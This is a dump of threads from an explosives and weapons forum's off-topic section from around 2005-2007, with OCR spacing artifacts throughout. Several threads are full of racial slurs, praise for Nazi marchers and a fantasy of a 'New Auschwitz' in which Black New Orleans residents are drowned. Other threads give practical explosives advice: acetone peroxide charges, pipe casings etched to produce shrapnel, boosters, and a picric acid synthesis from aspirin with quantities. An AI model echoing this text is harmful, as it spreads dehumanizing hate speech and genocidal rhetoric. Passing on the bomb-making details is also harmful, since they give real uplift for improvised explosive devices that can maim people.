The Explosives and W eapons Forum > Knowledge and Inform ation > T h e W ater Cooler > New FTP h osting
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Alexires October 4th, 2005, 01:24 PM

This is my first post, and from m y understanding it's ok to post a thread for the first tim e in the "water cooler", but please
forgive m e if I am wrong.
I'd like to he lp Rogue Science out by hosting an FTP. W hat would be the best way to go about this? Should I just get all the
files hosted on the two current FTP's, and just post a link under the FTP section to the new one or is there another way that this
needs to be done?
Any advice would be greatly appreciate d,
Thank you.

The Explosives and W eapons Forum > Knowledge and Inform ation > T h e W ater Cooler > George Carlin on New O rleans:
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festergrump October 18th , 2 0 0 5 , 0 3 : 0 4 P M

"Been sitting here with my ass in a wad, wanting to speak out about the bullshit going on in New Orleans. For the people of
New Orleans... First we would like to sa y, Sorry for your loss. W ith that said, let's go through a few hurricane rules: (Unlike an
earthquake, we know it's com ing).
#1. A m andatory evacuation means just that...Get the hell out. Don't blam e the Governm ent after they tell you to g o. If they
hadn't said anything, I can see the argument. They said get out... if you didn't, it's your fault, not theirs. (W e don't want to
hear it, even if you don't have a car, you can get out).
#2. If there is an emergency, stock up on water and non-perishables. If you didn't do this, it's not the Government's fault
you're starving.
#2a. If you run out of food and water, find a store that has some. (Rem e m ber, shoes, TV's, DVD's and CD's are not edible.
Leave them alone).
#2b. If the local store has been looted of food or water, leave your neighbor's TV and stereo alone. (See #2a) They worked
hard to get their stuff. Just be cause they were sm art enough to leave during a m andatory evacuation, doesn't give you the
right to take their stuff...it's theirs, not yours.
#3. If som e o n e c o m es in to h elp you, don't shoot at them a n d t h e n c o m plain no one is helping you. I'm not getting shot to
help s a v e s o m e d u m b a s s w h o d i d n ' t l e a v e w h e n t o l d t o d o s o .
#4. If you are in your house that is com pletely under water, your belongings are probably too far gone for anyone to want
t h e m . I f s o m e o n e d o es want them, let them have them and hopefully they'll die in the filth. Just leave! (It's New Orleans, find
a vo odoo warrior and put a curse on th e m ) .
#5. My tax m oney should not pay to rebuild a 2 million dollar house, a sports sta dium or a floating casino. Also, m y tax
m oney shouldn't go to rebuild a city th at is under sea level. You wouldn't build yo ur house on quicksand would you? You want
to live below sea-level, do your country som e g ood and join the Navy.
#6. R egardless of what the Poverty Pimps Jessie Jackson and Al Sharpton want you to believe, The U S Government didn't
create the Hurricane as a way to eradicate the black people of New Orleans [nor d id Fester, though, if I could have I would
have considered it ;) ]; The US Government didn't cause global warm ing that caused the hurricane (We've been coming out of
an ice age for over a million years).
#7. The government isn't responsible for giving you anything. This is the l a n d o f t h e f r e e a n d t h e h o m e of the brave, but you
gotta work for what you want. McDonalds and W al-Mart are always hiring, get a damn job and stop spooning off the people who
are actually working for a living. President Kennedy said it best..."Ask not what yo ur country can do for you, ask wha t you can
do for your country."
Thank you for allowing m e to rant."

------------------------------------------------------------
No truer words spoken on the matter IMHO... :D
meselfs October 18th , 2 0 0 5 , 0 3 : 2 6 P M

Except that I believe that global warm ing is a very real & serious problem and that I wouldn't use a hurricane to kill blacks, I
agree entirely :->.
W hy isn't anyone suing the gubberm ent for rebuilding that unde rwater schittehole?
festergrump October 19th , 2005, 01:24 AM

W ell, as long as we're gonna rebuild the place, I vote we do it right and build a dom e right over the top of it. W e b u i l d d o m e s
over our beloved sports arena s, don't we? Since my tax dollars are going for the rebuild, I say this:
1) Dome goes over the entire city.
2) Move all the fools back into their below sea level shithole of a city and m a k e t h e m help to rebuild it. Nothing major, here,
just fill it with simple dom iciles and general governm e n t h o u s i n g type buildings, but this tim e m a d e o f p l a s t i c a n d a n c h o r e d
deep into concrete foundation to withstand the effects o f another flooding.
3) W hen finished rebuilding, seal all the exits save for a fine-grate vent at the top and flood the d o m e o n c e a g a i n t o f i n i s h
what Mother Nature started. Seawater is plentiful and free!
4) O nce finished drowning all the useless, bitch ing, non-working, crack smoking n iggers/rapists/theives/sca m s w e o p e n t h e
s l u i c e g a t e s a n d e m p ty the city of water and detritus to use it for a penile relocation facility. All of the death row and "life
without parole" inm ates go in under the guise of either an age diversity or race diversity program (depending on the current
p r o b l e m of a ny given prison)... flood, rinse, repeat...
W e could call the place New Auschwitz! :cool:
Meselfs:
I, to o, believe global warm ing is a serious issue. O ne that should not be taken lightly. It's effects are rapid ly becom ing
a p p a r e n t , b u t sort of off topic, I'll tell you this: If Osama Bin Laden showed his ugly m ug on a video claim ing these hurricanes
are concoctio ns of his own devices m ost Am ericans would believe it! BAAAH! I say! Sheeple... and we alread y know what the
jackson/sharpton school of thought niggers think... we owe them EVERYTHING! :rolleyes:
A hurricane wouldn't be m y first choice for geno cide, but it DID kill a few. Amen.
It's som ewhat noteworthy to m ention, though, that the local dog p o u n d h e r e u s e s t h e e x h a u s t o f a C h e v y 3 5 0 e n g i n e t o
euthanize un-adopted pets at their facility. I saved a beautiful Germ a n S h e p h e r d o f 2 Y O A f r o m s u c h a d e m i s e a w e e k a n d a
half ago. Had I room, I'd adopt a New Orleans resident, too, if they could possibly be house broke n. (thought: "I said HEEL,
not STEAL, goddam nit!"). On second thought, let those FEMA junkies suck my tailpipe or breath sharkpiss... :p
nbk2000 October 19th , 2 0 0 5 , 0 3 : 3 8 P M

A 'penile' relocation facility?
O U C H!
As long as the original owner isn't tranported along with the 'pen ile' offender, that'd be a hell of deterrent! ;)

DOH! my err was out of tiredness and not a Fre udian thing, I assure! :o It was very late when I typ ed that. A 'Penal' relocation
facility was what I meant.
I t d o e s s e e m like a major crime deterent, thou gh, com e to think of it. :eek:
BlueFlame October 20th , 2 0 0 5 , 0 1 : 5 4 P M

It appears thath this was not done by Carlin.
Hurricane Rules (http://www.snopes.com / k a t r i n a / s o a p b o x / c a r l i n . a s p )
meselfs October 20th , 2 0 0 5 , 0 5 : 0 2 P M

I f O s a m a Bin Laden showed h is ugly m ug on a video claim ing these hurricanes are concoctions of his own devices m ost
Am ericans would believe it! BAAAH! I say! Sheeple... and we alre ady know what th e jackson/sharpton school of thought niggers
think... we owe them EVERYTHING!
W ait a sec; I heard George Bush can control the weathe r (m any people say this when he's blamed for the hurricanes), now
you're telling m e bin Laden has similar powers?!
The sky's falling! It's time to m ove to the Aleutian islan ds where no-one will find m e!
New Auschwitz sounds like a fitting name indeed. Flood, rinse, repeat.
nbk2000 March 23rd, 2007, 10:40 PM

New Orleans residents arm ing them s e l v e s
By MARY FO STER, Associated Press W riter / 6 m i n u t e s a g o /
NEW OR LEANS - Sixty-four-year-old Vivian Westerm an rode out Hurricane

Katrina in her 19th-century house. So terrible was the experience that
she wanted two things before the 2006 season arrived: a backup power
source and a gun. "I got a 6,000-watt generator and the cutest little
Sm ith & Wesson, snub-nose .38 you ever saw," she boasted. "I've never
been more confident." People across New O rleans are arm ing them s el ves
not only against the possibility of another storm bringing anarchy, but
a g a i n s t t h e v i o l e n c e t h a t h a s e n g u l f e d t h e m etropolitan area in the 19
m onths since Katrina, m aking New Orleans the nation's murder capital.
T h e n u m b e r o f p e r m its issued to carry concealed weapo ns is run ning twice

a s h igh as it was before Katrina this, in a city with only about half
its p re-storm population of around 450,000. Attendance at firearms
classes and hours logged at shooting ranges also are up, according to
the gun industry.
Gun dealers who saw sales shoot up during the chaotic few m onths after
Katrina say that sales are still brisk, and that the customers are a
cross-section of the p opulation doctors, lawyers, bankers, artists,
labo rers, stay-at-hom e m o m s.
"People are in fear of their lives. They're looking for ways to feel
s a f e a g a i n , " s a i d M i k e R o n i g e r, m anager of Gretna Gun works in Jefferson
Parish.
Citizens, the tourism industry, police and politicians officials have

been alarmed by the wave of killings in New O rleans, with 162 in 2006
and 37 so far this year. A Tulane U niversity study put the city's 2006
h o m icide rate at 96 slayings per 100,0 0 0 p e o p l e , t h e h i g h e s t i n t h e n a t i o n .
National Guardsmen and state police are patrolling the streets of New
Orleans. In neighboring Jefferson Parish, which posted a record 66
h o m icides in 2006, the sheriff sent armored vehicles to protect
high -crim e n e i g h b o r h o o d s .
In New Orleans, police have accused the district attorney of failing to

prosecute m any suspects. Prosecutors have accused the police of not
bringing them solid cases.
S o m e people are losing faith in the system to protect them.
Earn est Johnson, a 37-year-old chef who lives in Kenner, bought his
first gun recently and visits a shooting range re gularly. "Things are
way worse than they used to be," he said. "You h a v e t o d o s o m ething to
protect yourself."
Kevin Cato, a 41-year-old contractor, bought a .45-calib e r h a n d g u n f o r

protection when he is working in som e of the city's still-deserted
areas. "But it's not much safer at home," Cato said. "The police chased
a guy through m y yard one time with their guns out."
In New Orleans, the number o f concealed-carry perm its issued jumped from
432 in 2003-04 to 832 in 2005-06. In Jefferson Parish, 522 permits were
issued in 2003-04, and 1,362 in 2005-06.
Mike Mayer, owner of Jefferson Indoor Range and Gun Outlet in suburban
Metairie, said that despite the dropoff in population, sales are up
about 38 percent overall since Katrina.
Just how m any guns are out there is anybody's guess. Gun buyers in
Louisiana are not required to register their weapon or obtain a
concealed-ca rry permit if they keep the gun in their hou se or car.
I n a m easure of how dangerous New O rleans is becoming, guns are finding

their way into crim i n a l h a n d s a t a n a l a r m i n g r a t e . T h e f e d e r a l B u r e a u o f
Alcohol, Tobacco, Fire arm s and Explosives' "tim e-to-crim e " a n a l y s i s o f
the interval between the legal sale of a gun and the tim e it is seized
in a crim e investigation is five years on average around the nation,
s a i d A T F s p o k e s m an Austin Banks. In New Orle ans, time-to-crim e is six
m onths, he said.
T h i s s o m e t i m es happens because of "straw purchases," in which a buyer

obtains a gun for som eone not legally eligible to purchase one. Many
guns also are stolen from h o m e s a n d c a r s .
W hile m any are buying guns for protection, only two defensive k illings
of crim inals by civilians took p lace in New Orleans in 2006, according
to police. No charges were filed against the sho oters.
W esterman, an artist who lives in the city's Algiers neighborhood, is

prepared to use deadly force.
"I'm a marksman now. I know what I'm doing," she said. "There are a lo t
of us. The girl next door is a crack sho t."
Gee, let m e get this straight...
W hite people with any sense left and stayed gone.
New Orleans is now predominately occupied by blacks and those few whites too poor, stupid, or attached to the place to leave.
The murder rate has shot through the roof since the last hurricane wiped the place out.
Now anyone with sense is getting arm ed in anticipation of the next hurricane, though not enough sense to leave.
Liberals are saying th is is a bad thing.
A n d t h e p e o p l e b u y i n g t h e g u n s a r e f o rgetting that it wasn't the ram paging muds, but the police and military, who disarmed
them the last time. W hat m a k e s t h e m think that won't be the case again? :rolleyes:

The Explosives and Weapons Forum > Knowledge and Information > The Water Cooler > Score: Nazis 24, Negros 0
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festergrump October 21st, 2005, 05:26 PM

I just had to share this with you all.
Nazi socialist party members stage a protest against black crime in north Toledo, Ohio this last week. When their demonstration is routed to coincide with a counter
demonstration, SHTF. The niggers went nuts and began rioting with the police, looting and burning buildings, ending up in two dozen arrests on their part. Not one Nazi
demonstrator was arrested. The proof is in the pudding, I'd say, and the point was well made. Well done, guys... ;)
Story here:
http://www.cnn.com/2005/US/10/15/nazi.march/
Chris The Great October 21st, 2005, 09:13 PM

Most of the violence happened when residents, who had pelted the Nazi marchers with bottles and rocks, took out their anger on police, said Brian Jagodzinski, chief news
photographer for CNN affiliate WTVG.
Video showed crowds at around 2:25 p.m. using bats to bring down a wooden fence as looters broke into a small grocery store.
"The crowd was very ... extremely agitated at the police ... for doing this [making arrests in] the community when they should be doing this to the Nazis," Jagodzinski said.
Yeah, the Nazis sure are the bad guys here eh? They walk down a street and the sheeple get so pissed that the cops aren't arresting them for exercising their rights they start
rioting and looting.
Jacks Complete October 22nd, 2005, 08:41 PM

That CNN article was written very carefully. Got to make sure it looks like the Nazis were arrested, rather than any blacks. You have to know what the people in each group
are in order to get a picture of exactly what went on, too.
Sneaky.
Davo October 23rd, 2005, 02:45 AM

That CNN article was written very carefully. Got to make sure it looks like the Nazis were arrested, rather than any blacks. You have to know what the people in each group
are in order to get a picture of exactly what went on, too.
Sneaky.
Funny how protests against black crime leads to more black crime :) I did a search on google news and found very little mainstream news articles that were depicting the
rioters in bad light.
On a side note, it's now probably best if you're researching E&W to try and steer clear of politics... especially if it involves race and/or religion. Laws against "politically
motivated violence" seem to be getting sneaked in through many countries, and under that umbrella lies having politically incorrect opinions on race and religion. Yet I'm
surprised they haven't come down as heavily (yet) on E&W knowledge. Basically, the moral is if you're going to research E&W, make damm sure you're on the same side and
stay the fuck away from politics.
Chris The Great October 23rd, 2005, 08:43 PM

Very (unfortunately) true.
I've never actually had anything against people of different (or the same) races, I can easily find a vast number of reasons to hate them on a completely individual basis.
I'm just amazed at how much bias that article contains. Nice to know the media is out to tell us the unbiased facts huh?
+++++++
Hijacking
+++++++
The city's police chief said his officers showed "considerable restraint" after being pelted with rocks and bottles for "considerable hours."
"We could have made a couple hundred arrests," he said.
Ruiz-Krause blamed the mayhem on a disorganized group of the community's youth.
In other words, the situation was worse then the mayor let on, but the cops weren't allowed to arrest all the niggers that were actually involved, otherwise they'd have to
arrest the whole neighborhood.
And I like the "disorganized...youth" euphemism for 'street gangs', which was the very thing the Nazis were protesting.:p
Notice how the communists, the eternal enemies of Nazis, institigated the niggers to rioting...and then left?
I find it funny that the CNN photographer was on the side of the niggers, excusing their rioting as being the cops fault for enforcing civilized behavior, when the very same
niggers trashed his newsvan.
IF it's the cops fault, why are the niggers trashing the newsvan? Is CNN arresting people and oppressing the downtrodden black masses? Are the black masses expressing rage
against police oppression when they trash local businesses that server their community or stealing the liquor from the bar?
Or is it just rampaging monkeys, smashing and destroying everything in sight because they can?
NBK
festergrump October 26th, 2005, 12:00 AM

Well, if the ISO and the OPP hadn't showed up to hand the resident 'disorganized youth' (nigger gangs) the eggs to hurl at the Nazis, what might have been the next thing
most readily available for them to fling? (hint: think simian and zoo). :rolleyes:
Restraint and consequence seem to be ideas equally unfathomable to the lesser minded bipedal creatures of this world.
I also can't help but wonder who really re-routed the Nazi's demonstration. Was it bored little piggies wanting to crack a few heads that day or someone with more rank and a
higher agenda? No matter, of course. The end results speak truthfully for themselves. I certainly am not disappointed nor surprised...
Davo October 28th, 2005, 01:49 AM

On a similar issue, it also looks like South Africa wants to go the way of Zimbabwe and become a third world shithole lead by a gorilla http://www.abc.net.au/lateline/content/
2005/s1492438.htm
Meanwhile in the USA, two 13 year old girls recieved mainstream media coverage for spreading "racist hate" http://abcnews.go.com/Primetime/story?id=1231684&page=1 -
As far as I can tell, they only sing about love for whites, and not hate for anyone else. Amazing the spin that is being placed on this one as well.
It really makes me wonder if international media is secretly being run by a gay disabled retarded jewish nigger with cancer and AIDS?
The only people more inferior than the savages in these issues are those who actually believe in equality and social justice. I rest my case

Want to see something that willreally piss most of you guys off http://www.onepeoplesproject.com/ These fucks post shit online but I have never seen them back it up on the
street. I've been around where Nazis and these Reds are present and guess who always hides behind the "fascist police force" :) not the nazis haha. Unless the Nazi is a 14
year old kid or the odds against the nazi are over 5 to one, the OPP Reds always back down or run away.
nbk2000 October 28th, 2005, 05:30 PM

I find it funny that ABC news calls those two white girls 'racists', and snidely remark about the mother moving out of Bakersfield, CA for not being 'white enough', when the
very same people who run the network live in totally white suburbs or strictly guarded high-rises.
Where's the racial integration in that?
Oh, and what's wrong with wanting to provide hurricane aid to people of your own race? I'm sure Alan Sharpton and the Nation of Islam provided plenty of help to stranded
whites, eh? :rolleyes:
No sense rambling on. We already know about the media bias against whites who oppose the agenda of racial pollution.
I'm surprise they haven't renamed the "White Pages" to something 'non-oppressive'.\
A funny (in a pathetic way) thing is that, in Kansas City, there's a "Black Pages". You guessed it...a local directory of entirely nigger businesses. Takes all of three pages to
print. ;) :p
Imagine the uproar if there was a directory of entirely white-owned businesses. It'd be the size of the current directory, but without listings for 'Bling', 'Malt 40's', and other
nigger 'life-style' accessories.
BTW, I find it interesting that, at the time that I viewed the article, the ad for signing up for ABC news showed a line of (white) SWAT cops in their black hoods. Is this implying
something? A rather contradictory message, I think.
Oh, and directly in front of me, on another library computer, is some nigger doing that head-bopping/hand-waving shit that they do when they watch rap videos. I'm sitting
with my face buried in the monitor so as not to be distracted by the limb flailing antics of the porch ape.
Silentnite November 15th, 2005, 12:22 AM

Oh dear. The things that go on while I'm away. My collegues saw this as well and brought it to my attention. Down the street is a company that is similar to our business and
it's run almost completely by blacks. The uniform's look like crap, the service is sub-par, and they fight and hoot and hollar in the back so loud you can hear it in the parking
lot.
I'm all for equality. Lets just make sure everything being brought to the table is equal. And lets keep it equal instead of saying that its ok for Blacks to make a black only
college fund, but if whites did it, there would be(more) rioting in the streets.
Interesting to note how quickly things decline over an opinion.
Davo November 20th, 2005, 11:50 PM

Want to see something that willreally piss most of you guys off http://www.onepeoplesproject.com/ These fucks post shit online but I have never seen them back it up on the
street. I've been around where Nazis and these Reds are present and guess who always hides behind the "fascist police force" :) not the nazis haha. Unless the Nazi is a 14
year old kid or the odds against the nazi are over 5 to one, the OPP Reds always back down or run away.
http://www.fightdemback.com is equally similar to those fags, I'm not sure if they're connected at all. Amazing how much they love and support "free speech" yet they're just
as eager to deny it to those who disagree with them. I'd just love to drop these do-gooders off in an African warzone and see how long it takes until they see the truth.
(P.S, whenever i click "preview post" it actually always submits my reply, I have no idea why)

The Explosives and Weapons Forum > Knowledge and Information > The Water Cooler > Underwater AP cratermakers
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Spoz October 27th, 2005, 06:39 AM

Hi, since I recently acquired some nice underwater blasting fuse - a rarity in australia - Ive been playing around with underwater cratermakers filled with black powder. These
were fun at first but they got boring pretty quickly.
Ive been thinking about using AP as a filler for these, but I have never made any HE before. Ive been reading this forum for probably over a year now so Ive come to see the
different opinions on the sensetivity of AP and I have enough knowledge to make it.
What I wanted to know was, exactly how safe would putting AP into a CO2 cartridge be? How safe is it to press - does it even need pressing - how much pressure to use? How
much should I use to ensure detonation, how safe is carrying them around?
These are all questions which have stopped me from synthesising AP (I have the precursors) and yes, it is a noobish question because I am a noob. But I would rather ask
knowledgable people than blow my hand off finding out the hard way. If anyone here can answer some of the above questions or give me any tips for starting out, it would
really be appreciated.
Undoubtedly someone will flame me for this, but "To be old and wise you must first be young and stupid"
Edit: Forgot to mention, the fuse hole needs to be 5mm (~3/16") to accomodate the fuse, might make a difference when it comes to pressing the AP
Stone October 27th, 2005, 10:56 AM

Personally, I wouldn't ever put AP into a metal container, it's too unpredictable.
Pressing helps but again, unpredictable AP is not something you want to cause friction with if it's in a metal container.
Think of a pea(the green thngs you eat), then halve that... That much AP wll detonate.
Again, I wouldn't want to be anywhere near AP in a metal container let alone carry it to a test site.
If you plan to make AP, make a small amount and experiment with it in SMALL amounts with heat, friction, etc so you can see how it reacts. Then think about if you'd want
that going off in your bag, pocket, or whatever.
Spoz October 27th, 2005, 11:53 AM

Thanks for the warning. I might still go ahead and do as you suggested by testing a small amount. Ive seen the effects of shrapnel from cratermakers, and if AP is that
unpredictable then I wont take the chance.
When dealing with HEs underwater, would cardboard casings provide the same effect as a metal one, or would it seem 'deadened' as it does with low explosives?
I might have to hunt around for a more suitable explosive to use

If you plan to make AP, make a small amount and experiment with it in SMALL amounts with heat, friction, etc so you can see how it reacts. Then think about if you'd want
that going off in your bag, pocket, or whatever.
Do not assume that your AP will act a certain way because of previous tests with it. The danger of AP is that it is not only unstable but very inconsistent one day you have to
hit it with a hammar to make it go off the next day dropping a nick bag
xyz October 28th, 2005, 05:13 AM

SWIM has filled CO2 cannisters with AP before (using light pressing) with nothing out of the ordinary occuring. I would still advise against doing it though, but if you must, use
them soon after you make them or the AP will corrode the metal casing and possibly become more sensitive.
Underwater though, the casing doesn't really matter. Use plastic (small diameter PVC or poly pipe) or waterproofed cardboard. Even above water, the casings for AP matter
MUCH less than those for BP. AP will still produce a loud bang when even slightly confined by a small piece of drinking straw or a few layers of paper.
Underwater stuff is fun, well, according to SWIM anyway ;) , he also says you get bonus points for flushing small charges down public toilets.
Stone October 28th, 2005, 07:33 AM

Do not assume that your AP will act a certain way because of previous tests with it. The danger of AP is that it is not only unstable but very inconsistent one day you have to
hit it with a hammar to make it go off the next day dropping a nick bag
Yeah, sorry. I meant test to see how violently it reacts under certain conditions so he'd reconsider using a metal casing, not to predict how it would react in the future.
Spoz October 28th, 2005, 10:29 PM

I think Ive been adequately persuaded to stay away from metal casings now :rolleyes:
Youd think Id have learned my lesson when I had a BP filled one go off far too close for my liking, but instead I just shifted my experiments to a more aquatic environment...
Underwater charges are indeed fun, especially when the water is nice and clear... and theres plenty of wildlife around to scare.
Just out of curiosity, what would most people here use in such a charge (less than 5-10g of explosive, detonated underwater), taking into consideration that it needs to be
carried a km or so on foot? Would you consider using an unstable primary for the entire charge (that scares me...) or would you use something like APAN or even ANFO?
I have read in detail on these, but I lack any practical experience to make a decision...
Cyclonite October 29th, 2005, 03:56 AM

If you really want the added umph of a metal casing heres the least hazardous was to go about it...take a pipe with 2 end caps. Drill your fuse hole in one. For your AP charge
heres what I suggest. If your dead set on straight AP then wrap it in plastic wrap a few times nice and tight with the fuse. When the time comes you can simply insert it into
your shrapnel producing case with little fear of getting HE in the threads or reacting with any metals. Hardware stores sells small diameter pipes with end caps, in my option
easier than an empty Co2 cart. For a added effect you can etch with a dremal a shrapnel pattern on the pipe casing, good fun. The main lesson with you want your time within
a device that can kill you to be as short as possible so only insert the HE into the casing when you ready to detonate it.
Marvin October 29th, 2005, 11:01 PM

My own opinion is that using AP as a base charge is pretty suicidal. We are reasonably certain on this forum that AP has killed one person and we can put a name to a nolonger
posting nick. Of course, he was making a lot of the stuff.
I'm unsure what I'd do in your shoes for an underwater explosive, mainly because I don't know what you have access to. I do think that being able to carry a small amount of
primary explosive seperatly from the main charge of secondary is much safer.
With regard to metal casings I think you may be missing the point.
With blackpowder the bang you can get depends very much on the degree of confinement you can provide. With high explosives this (a few large critical radius mixtures
excepted) is untrue.
I'd say the only use for metal casings with high explosives is for hurting people. The other thing I'd add is that if you think you know shrapnel from the blackpower explosions -
you really don't know shrapnel from a HE explosion and AP is not at the soft end of nasty, it can do some very scarey things with 'soft' plastic let alone steel.
me234 November 1st, 2005, 01:01 AM

Spoz, from a simply bias point of view, I'd say go with APPN or APAN. If you can't get a hold of some secondaries, a nice mix like one of these ought to help with sensitivity,
and it'll produce a higher amount of gaseous products per weight explosive (if that journal article detailing AP's decomposition to acetone and O2 holds true for higher temp.
decomposition). The dead-easiest secondary I can think of to make would either be ANFO or UN. Unfortunately both need a booster, and you may be wanting to keep this
dream of yours a bit small at first.
Also, how deep is this body of water you have in mind: 'cause if it's 3 inches deep, recommending a 1Kg charge is a bit silly.
Wait, what am I saying, a 1Kg charge (or any charge for that matter) is never a silly thing, it's a fun thing...
I say go for something small, 10g sounds reasonable for a first try.
P.S. Don't scare the wild life, if they can hear something, people can hear something. I hear pigs (the wild life ones of course) have exceptional hearing too.
Spoz November 2nd, 2005, 05:24 PM

Thankyou guys for the positive and helpful replies so far. Not having experience with HEs before, I didnt really understand how confinement affects things like the sound of the
detonation.
I should be able to track down some ammonium nitrate, so I can experiment a little with APAN and ANFO. If I can get the AN I dont see why an APAN booster would be a
problem, other than the small size of the charge.
As for the depth, I have anywhere from a few inches to several metres - the size of the device would dictate how deep it would be placed.
tom haggen November 9th, 2005, 04:35 AM

Well as said before, stay away from metal containers at all costs unless you are trying to seriously injure some one. Anyway it sounds like you are quite fascinated with
under water explosions. Lets be honest who isnt amazed by underwater explosions? Anyway this may sound kind of newbish but what the hell. I worked with AP f or
quite a while specifically an AP smokeless powder composition before finding a certain property out that is a characteristic of AP putty. The stuff is mildly water proof. It
relatively powerful and you can experiment with safe amounts and still enjoy your self. Anyway if you have underwater fuse you can just make some AP putty and tape a fuse
to it with no water proof container needed. Remember always carry detonators and main charges in separate containers.

The Explosives and W eapons Forum > Knowledge and Inform ation > T h e W ater Cooler > Iron oxide from iron filings
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Heat Novem ber 3rd, 2005, 07:56 AM

I ' v e b e e n w o r k i n g o n m a k i n g m y own iron oxide. I got a lot of iron filings from a local ironworker. I put them in som e warm
water and pu mped air into it with an aquarium pum p (for oxygen). After a few days, I stirred the whole thing up.. raising up the
black iron ox ide particles. (The filing are too heavy and they sink.) Then I separated the resulting black liquid, and filtered out
the iron oxide. I got about 2 spoonfuls.
So I'm thinking of getting it done much faster with pure oxygen formed by electrolysis. No w how ca n I do this efficiently? My
m ain problem is figuring out what to add to the water to m ake it conductive.. I don't want to use salt, because I'll get a lot of
chlorine and not a lot of oxygen. I tried sulphuric acid, but the carbon on the oxygen side corrodes like hell, and throws a lot of
carbon particles all over the place. I tried both pencil lead, and carbon rods from batteries. I'm wondering, is that because of
the SO 4 i o n s , o r d o e s t h e o x y g e n d e s t r o y t h e c a r b o n ? I n a n y c a s e , d o e s a n y o n e h a v e a n y s u g g e s t i o n s ? W o u l d s u l p h u r i c a c i d
affect the iron in any way?
By the way, I've tried searching the forum s, but it doesn't work right.. It seems to find alm ost every thread, no matter what I
type in there.

The Explosives and W eapons Forum > Knowledge and Inform ation > T h e W ater Cooler > Pharm aceuticals?
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TheBlob Novem ber 24th, 2005, 10:43 PM

Ok first of all I must apologize my english really sucks and I'm really new here (I think it's my second post) but I have a
sim ple question for you guys.
Now I did a search an d unless I'm unable to perform a search I think this forum doesn't contain any inform a t i o n o n t h e
synthesis of drugs (MDMA, Me th,...).
I k n o w t h e C h e m Lab got a Pharmaceutical section, but it's mostly empty, and I was wond ering if there was anything about
drugs in the forum.

The Explosives and W eapons Forum > Knowledge and Inform ation > T h e W ater Cooler > Time to start preparing for the
end of 2005....
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Macgyver Novem ber 28th, 2005, 01:13 PM

Just ordered the chemicals that I am missing for m y little pyro p rojects + lots of visco since m y supplier seem s to have that in
stock now, no questions asked.... :D
Anyone else that has started thinking about ne w year pyro stuff yet?

The Explosives and W eapons Forum > Knowledge and Inform ation > T h e W ater Cooler > Survival and Austere Medicine
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TreverSlyFox Novem ber 28th, 2005, 11:07 PM

F o r o n c e I h a v e s o m ething to contribute to the forum, it's just not Explosives or W e a p o n s r e l a t e d .
Though with our tendency to "experim ent" with such things and the possibilty of using them during tim es that m ay not be
n o r m a l . S o m e outcom e s m a y r e q u i r e m edical knowledge and/or treatment that m ay not be avalible at the time we need it. My
intrest and association with Survival/Militia activities has allowed me to post the following link to an E-Book that is FREE for the
downloading that m ay help in preparing for a m edical em ergency in times like we saw with Katrina in New Orleans. T h e n a g a i n
it could be because the Blue Hats have overrun your Fire Team's Base:
http://www.aussurvivalist.com /downloads/AM%20Final%202.pdf
This is a 213 page, 3.9MB .pd f file titled "Survival and Austere Medicine: An Introduction" 2nd Edition. Written and Edited by
T h e R e m o t e , A u s t e r e , W i l d e r n e s s a n d T h i r d W orld Medicine Discussion Board Moderators.
Here is the Authors com m e n t s o n t h e b o o k s r e a s o n f o r b e i n g :
Ba c k g r o u nd:
" T h i s b o o k i s a m ajor revision o f the Survival Medicine FAQ s ( Frequently Asked Questions) originally written for the m isc.
survivalism Usenet newsgroup in 1997. It was written in response to recurring posts asking the sam e q u e s t i o n s a n d t h e f a c t
t h a t m any answers were often wrong and occasionally dangerou s . I t h a s n t u n d e r g o n e a n y c h a n g e s o r r e v i s i o n s s i n c e t h e n .
W hile the original content rem ains valid we tho ught it was tim e it underwent an update. This is a significant revision m o s t
sections have been re-written and a number of new sections added. We hope you will find it useful. It is offered in good faith
but the content should be validated and confirmed from other sources before being relied on even in an emergency situation.
T h e r e a r e v e r y f e w b o o k s a i m e d a t t h e Practicing Me dicine af t e r t h e E n d o f t h e W orld A s W e Know It m a r k e t which is hardly

surp rising! So we hope this bo ok fills a void. We also hope it will be useful for tho se people delivering health care in remote
o r a u s t e r e environm e n t s . I t i s n o t d e s i g n e d a s a h o w t o d o x r e f e r e n c e a l t h o u g h t h e r e i s s o m e of th a t . T h e r e a r e p l e nty of
books which tell you how to practice m edicine. It is designed to provide som e answers to comm o n l y a s k e d q u e s t i o n s r e l a t i n g t o
survival/prep a r e d n e s s m e d i c i n e a n d t o p r o v i d e r e l e v a n t i n f o r m a t i o n n o t c o m m only found in traditional texts or direct you to
that inform ation.
W e have trie d to m in im ise technical la n g u a g e , b u t a t t i m e s t h i s h a s n o t b e e n p o s s i b l e , i f you com e acros s u n f a m iliar term s

plea s e c o n s u l t a m e d ical dictionary. It has taken two years, and a lot of stopping, and starting but here it is. The authors an d
editors are passionately comm itted to helping people develop their m edical knowledge an d skills for major disasters. W e ho p e
you find it useful."
I hope the E&W M e m b e r s m ay find it useful. With m y crappy Dia l-up connection I haven't tried to Up-Load it to the FTP site. I
hope one of you with a better connection will.
EDIT: If you up-load it be sure to change the n a m e o f t h e f i l e t o s o m eth ing that describes it. It would be real hard to find with
the current file nam e of "AM Final 2.pd f"
Jacks Complete D e c e m ber 1st, 2005, 05:49 PM

Great post!
I'm having trouble getting it to download into the browser, but the off-line downloader see ms to be coping well.
I m ight have to print a hard copy of this and keep it safe som e p l a c e .
Chris The Great D e c e m ber 2nd, 2005, 12:13 AM

It looks very good from the quick glance I m ade of it, I haven't had tim e to actually read in depth. But the topics lo ok very
useful and the inform a t i o n l o o k s g o o d .
I would also print it but I am currently out of paper. It would definately be something useful to have if civilization co l l a p s e d .
Thanks alot!

The Explosives and W eapons Forum > Knowledge and Inform ation > T h e W ater Cooler > Abnorm al Picric Acid
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bonusiletisim Novem ber 30th, 2005, 01:20 AM

I've just m a d e m y first attem p t o m a k e P A . I d issolved 10gr aspirin in 150m l H2SO4 at 80 degree celcius. I maintained the
t e m p e r a t u r e 3 0 m i n u t e s . T h e n I slowly added 35m l of 65% nitric acid. The result was a light red solution, a lot of NO 2 a n d
burnt lungs:eek: (still hard to breathe). W hen I poured the solution into cold water, yellow crystals precipitated. W h a t i s
strange is a foam like layer on top of the solution.
Here is a picture of it. http://www.m e g a u p l o a d . c o m / ? d = F V G X B N Y 8
W hat do you think this can be ? Should I discard or keep it? Moreover, the solution tears the coffee filter. I cant filter it. f I
could, I want to recrsytallise PA with bo iling water.
NainKaigo S e p t e m b e r 2 9th, 2006, 09:33 PM

I thought it appropria te to revive this thread since its the only one I can find in th e W ater Cooler in regard to synthesizing picric
